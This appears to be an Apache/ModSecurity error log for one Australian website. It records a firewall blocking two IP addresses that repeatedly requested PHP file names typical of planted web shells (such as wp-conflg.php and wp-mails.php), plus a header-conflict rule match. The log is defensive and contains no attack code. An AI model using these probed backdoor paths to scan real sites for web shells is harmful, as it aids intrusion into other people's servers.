[Sat Feb 28 10:51:15.699216 2026] [:error] [pid 39292:tid 39310] [client 158.158.96.194:50637] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xqq.php"] [unique_id "aaJYI6IAO5fN7BxyqcGfDwAAANA"]
[Sat Feb 28 10:51:16.372259 2026] [:error] [pid 11791:tid 11801] [client 158.158.96.194:42742] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xqq.php"] [unique_id "aaJYJGuX5e1Q32gqxH3PWQAAAQg"]
[Sat Feb 28 10:51:17.296400 2026] [:error] [pid 52460:tid 52469] [client 158.158.96.194:47723] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xqq.php"] [unique_id "aaJYJbLWOogAgHGh62SkNwAAAYY"]
[Sat Feb 28 10:51:18.344141 2026] [:error] [pid 22194:tid 22206] [client 158.158.96.194:50676] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xqq.php"] [unique_id "aaJYJn6mbajs3bzQGysW0wAAAUo"]
[Sat Feb 28 10:51:19.298617 2026] [:error] [pid 39185:tid 39266] [client 158.158.96.194:46546] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sdsa.php"] [unique_id "aaJYJxVE-FfM89u7BQZQjQAAAJQ"]
[Sat Feb 28 10:51:20.126575 2026] [:error] [pid 39185:tid 39251] [client 158.158.96.194:50625] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sdsa.php"] [unique_id "aaJYKBVE-FfM89u7BQZQmAAAAIU"]
[Sat Feb 28 10:51:21.018244 2026] [:error] [pid 39185:tid 39249] [client 158.158.96.194:50630] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sdsa.php"] [unique_id "aaJYKRVE-FfM89u7BQZQmwAAAIM"]
[Sat Feb 28 10:51:21.874649 2026] [:error] [pid 52460:tid 52466] [client 158.158.96.194:55068] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sdsa.php"] [unique_id "aaJYKbLWOogAgHGh62SkSgAAAYM"]
[Sat Feb 28 10:51:22.483771 2026] [:error] [pid 52460:tid 52475] [client 158.158.96.194:58322] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aaJYKrLWOogAgHGh62SkTgAAAYw"]
[Sat Feb 28 10:51:23.229290 2026] [:error] [pid 52460:tid 52477] [client 158.158.96.194:51571] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aaJYK7LWOogAgHGh62SkUQAAAY4"]
[Sat Feb 28 10:51:23.845744 2026] [:error] [pid 39185:tid 39253] [client 158.158.96.194:54569] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aaJYKxVE-FfM89u7BQZQrgAAAIc"]
[Sat Feb 28 10:51:24.458934 2026] [:error] [pid 11791:tid 11803] [client 158.158.96.194:58385] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aaJYLGuX5e1Q32gqxH3PfQAAAQo"]
[Sat Feb 28 10:51:25.052933 2026] [:error] [pid 52460:tid 52482] [client 158.158.96.194:44239] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-conflg.php"] [unique_id "aaJYLbLWOogAgHGh62SkXQAAAZM"]
[Sat Feb 28 10:51:25.894019 2026] [:error] [pid 39185:tid 39254] [client 158.158.96.194:5726] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-conflg.php"] [unique_id "aaJYLRVE-FfM89u7BQZQtAAAAIg"]
[Sat Feb 28 10:51:26.592632 2026] [:error] [pid 52460:tid 52463] [client 158.158.96.194:51527] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-conflg.php"] [unique_id "aaJYLrLWOogAgHGh62SkbQAAAYA"]
[Sat Feb 28 10:51:27.233126 2026] [:error] [pid 39185:tid 39248] [client 158.158.96.194:55075] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-conflg.php"] [unique_id "aaJYLxVE-FfM89u7BQZQvQAAAII"]
[Sat Feb 28 10:51:28.143479 2026] [:error] [pid 39185:tid 39263] [client 158.158.96.194:63956] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/un.php"] [unique_id "aaJYMBVE-FfM89u7BQZQxwAAAJE"]
[Sat Feb 28 10:51:28.774069 2026] [:error] [pid 39185:tid 39248] [client 158.158.96.194:62920] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/un.php"] [unique_id "aaJYMBVE-FfM89u7BQZQzAAAAII"]
[Sat Feb 28 10:51:29.595020 2026] [:error] [pid 39185:tid 39248] [client 158.158.96.194:63994] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/un.php"] [unique_id "aaJYMRVE-FfM89u7BQZQ1AAAAII"]
[Sat Feb 28 10:51:30.293346 2026] [:error] [pid 39185:tid 39248] [client 158.158.96.194:44261] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/un.php"] [unique_id "aaJYMhVE-FfM89u7BQZQ3gAAAII"]
[Sat Feb 28 10:51:31.256719 2026] [:error] [pid 52460:tid 52471] [client 158.158.96.194:55092] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.kb.php"] [unique_id "aaJYM7LWOogAgHGh62SkfgAAAYg"]
[Sat Feb 28 10:51:32.080887 2026] [:error] [pid 52460:tid 52485] [client 158.158.96.194:47711] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.kb.php"] [unique_id "aaJYNLLWOogAgHGh62SkiQAAAZY"]
[Sat Feb 28 10:51:32.752236 2026] [:error] [pid 39185:tid 39250] [client 158.158.96.194:5712] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.kb.php"] [unique_id "aaJYNBVE-FfM89u7BQZQ9AAAAIQ"]
[Sat Feb 28 10:51:33.597222 2026] [:error] [pid 39185:tid 39250] [client 158.158.96.194:58343] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.kb.php"] [unique_id "aaJYNRVE-FfM89u7BQZQ_QAAAIQ"]
[Sat Feb 28 10:51:34.380243 2026] [:error] [pid 52460:tid 52463] [client 158.158.96.194:63965] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aaJYNrLWOogAgHGh62SkmgAAAYA"]
[Sat Feb 28 10:51:35.105450 2026] [:error] [pid 11791:tid 11806] [client 158.158.96.194:55041] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aaJYN2uX5e1Q32gqxH3PiQAAAQ0"]
[Sat Feb 28 10:51:36.235435 2026] [:error] [pid 11791:tid 11795] [client 158.158.96.194:55292] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aaJYOGuX5e1Q32gqxH3PjgAAAQI"]
[Sat Feb 28 10:51:37.017334 2026] [:error] [pid 39185:tid 39246] [client 158.158.96.194:44245] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aaJYORVE-FfM89u7BQZRIgAAAIA"]
[Sat Feb 28 11:12:01.370081 2026] [autoindex:error] [pid 39292:tid 39311] [client 157.230.20.6:54704] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Feb 28 11:13:55.877224 2026] [:error] [pid 39185:tid 39269] [client 43.130.102.223:56294] [client 43.130.102.223] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aaJdcxVE-FfM89u7BQZoWAAAAJc"]
[Sat Feb 28 11:24:23.195015 2026] [:error] [pid 39185:tid 39253] [client 20.220.61.156:13252] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/asd67.php"] [unique_id "aaJf5xVE-FfM89u7BQZxjQAAAIc"]
[Sat Feb 28 11:24:24.359919 2026] [:error] [pid 39292:tid 39317] [client 20.220.61.156:13257] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/asd67.php"] [unique_id "aaJf6KIAO5fN7BxyqcGuTAAAANc"]
[Sat Feb 28 11:24:25.389648 2026] [:error] [pid 39183:tid 39195] [client 20.220.61.156:13269] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/asd67.php"] [unique_id "aaJf6RCf4HvhVePw3LbXmAAAAAM"]
[Sat Feb 28 11:24:26.523108 2026] [:error] [pid 11791:tid 11798] [client 20.220.61.156:13296] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/asd67.php"] [unique_id "aaJf6muX5e1Q32gqxH3l8gAAAQU"]
[Sat Feb 28 11:24:26.795928 2026] [:error] [pid 39292:tid 39301] [client 20.220.61.156:13263] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "aaJf6qIAO5fN7BxyqcGuVAAAAMc"]
[Sat Feb 28 11:24:27.499642 2026] [:error] [pid 52460:tid 52466] [client 20.220.61.156:13289] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "aaJf67LWOogAgHGh62TNzAAAAYM"]
[Sat Feb 28 11:24:28.092339 2026] [:error] [pid 11791:tid 11810] [client 20.220.61.156:13193] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "aaJf7GuX5e1Q32gqxH3l9QAAARE"]
[Sat Feb 28 11:24:28.556790 2026] [:error] [pid 39292:tid 39306] [client 20.220.61.156:13300] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "aaJf7KIAO5fN7BxyqcGuWwAAAMw"]
[Sat Feb 28 11:24:29.228016 2026] [:error] [pid 39185:tid 39248] [client 20.220.61.156:13295] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "aaJf7RVE-FfM89u7BQZxoQAAAII"]
[Sat Feb 28 11:24:29.958127 2026] [:error] [pid 22194:tid 22198] [client 20.220.61.156:13200] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "aaJf7X6mbajs3bzQGysjQwAAAUI"]
[Sat Feb 28 11:24:30.716724 2026] [:error] [pid 11791:tid 11795] [client 20.220.61.156:13291] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "aaJf7muX5e1Q32gqxH3mBAAAAQI"]
[Sat Feb 28 11:24:31.336591 2026] [:error] [pid 11791:tid 11809] [client 20.220.61.156:13274] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "aaJf72uX5e1Q32gqxH3mCgAAARA"]
[Sat Feb 28 11:24:32.109456 2026] [:error] [pid 39185:tid 39249] [client 20.220.61.156:13304] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/000.php"] [unique_id "aaJf8BVE-FfM89u7BQZxsAAAAIM"]
[Sat Feb 28 11:24:32.796369 2026] [:error] [pid 52460:tid 52468] [client 20.220.61.156:13201] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/000.php"] [unique_id "aaJf8LLWOogAgHGh62TN4AAAAYU"]
[Sat Feb 28 11:24:33.712036 2026] [:error] [pid 52460:tid 52469] [client 20.220.61.156:13216] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/000.php"] [unique_id "aaJf8bLWOogAgHGh62TN5wAAAYY"]
[Sat Feb 28 11:24:34.949572 2026] [:error] [pid 39183:tid 39192] [client 20.220.61.156:13239] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/000.php"] [unique_id "aaJf8hCf4HvhVePw3LbXnwAAAAA"]
[Sat Feb 28 11:24:36.148758 2026] [:error] [pid 39185:tid 39260] [client 20.220.61.156:13268] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-mails.php"] [unique_id "aaJf9BVE-FfM89u7BQZxwgAAAI4"]
[Sat Feb 28 11:24:37.259687 2026] [:error] [pid 39292:tid 39298] [client 20.220.61.156:13302] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-mails.php"] [unique_id "aaJf9aIAO5fN7BxyqcGuaQAAAMQ"]
[Sat Feb 28 11:24:38.586030 2026] [:error] [pid 52460:tid 52470] [client 20.220.61.156:13215] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-mails.php"] [unique_id "aaJf9rLWOogAgHGh62TOCQAAAYc"]
[Sat Feb 28 11:24:39.444764 2026] [:error] [pid 11791:tid 11817] [client 20.220.61.156:13287] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-mails.php"] [unique_id "aaJf92uX5e1Q32gqxH3mIQAAARg"]
[Sat Feb 28 11:24:40.213878 2026] [:error] [pid 39185:tid 39267] [client 20.220.61.156:13307] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xex.php"] [unique_id "aaJf-BVE-FfM89u7BQZx2wAAAJU"]
[Sat Feb 28 11:24:40.820980 2026] [:error] [pid 22194:tid 22203] [client 20.220.61.156:13285] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xex.php"] [unique_id "aaJf-H6mbajs3bzQGysjTwAAAUc"]
[Sat Feb 28 11:24:41.303825 2026] [:error] [pid 22194:tid 22207] [client 20.220.61.156:13196] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xex.php"] [unique_id "aaJf-X6mbajs3bzQGysjUAAAAUs"]
[Sat Feb 28 11:24:41.776016 2026] [:error] [pid 39185:tid 39258] [client 20.220.61.156:13311] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xex.php"] [unique_id "aaJf-RVE-FfM89u7BQZx5AAAAIw"]
[Sat Feb 28 11:24:42.277852 2026] [:error] [pid 39185:tid 39264] [client 20.220.61.156:13194] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/n3.php"] [unique_id "aaJf-hVE-FfM89u7BQZx5gAAAJI"]
[Sat Feb 28 11:24:42.812626 2026] [:error] [pid 22194:tid 22202] [client 20.220.61.156:13185] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/n3.php"] [unique_id "aaJf-n6mbajs3bzQGysjUwAAAUY"]
